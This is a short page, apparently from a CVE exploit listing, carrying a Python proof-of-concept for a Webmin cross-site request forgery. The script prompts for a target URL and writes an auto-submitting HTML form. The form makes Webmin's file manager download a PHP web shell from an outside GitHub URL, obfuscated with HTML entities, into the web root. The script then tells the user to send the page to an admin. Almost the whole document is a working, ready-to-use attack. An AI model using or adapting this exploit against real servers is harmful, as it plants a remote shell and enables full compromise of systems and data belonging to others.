4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / eXploit.py PY
import time, subprocess,random

print('''\033[1;37m

 __  __           _     ____  _          _________  _     _            _    
|  \/  |         | |   |___ \| |        |___  / _ \| |   | |          | |   
| \  / | ___  ___| |__   __) | |           / / | | | | __| |_   _  ___| | __
| |\/| |/ _ \/ __| '_ \ |__ <| |          / /| | | | |/ _` | | | |/ __| |/ /
| |  | |  __/\__ \ | | |___) | |  _ _    / /_| |_| | | (_| | |_| | (__|   < 
|_|  |_|\___||___/_| |_|____/|_| (_|_)  /_____\___/|_|\__,_|\__, |\___|_|\_/
                                                             __/ |          
                                                            |___/           

    \033[1;m''')

for i in range(101):
    print("\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m )  & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m  ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format(
            i), "\033[1;36m%\033[1;m", end="")
    time.sleep(0.02)
print("\n\n")

target = input(
    "\033[1;36m \n Please input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m")

if target.endswith('/'):
    target = target
else:
    target = target + '/'


def CSRF_Generator():
    with open('CSRF_POC.html', 'w') as POC:
        POC.write \
            ('''

<html>
        <head>
            <meta name="referrer" content="never">
        </head>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="'''+target+'''filemin/http_download.cgi" method="POST">
      <input type="hidden" name="link" value="https&#58;&#47;&#47;raw&#46;githubusercontent&#46;com&#47;drag0s&#47;php&#45;webshell&#47;master&#47;webshell&#46;php" />
      <input type="hidden" name="username" value="" />
      <input type="hidden" name="password" value="" />
      <input type="hidden" name="path" value="&#47;var&#47;www&#47;html" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

    ''')
    POC.close()

    print("\033[1;36m\nThe CSRF_POC has been generated successfully,send it to a Webmin's Admin and ur web shell gonna be in this path /var/www/html/Mesh3l_Z0ldyck/webshell.php ^_^ \n \033[1;m")



def main():
    CSRF_Generator()


if __name__ == '__main__':
    main()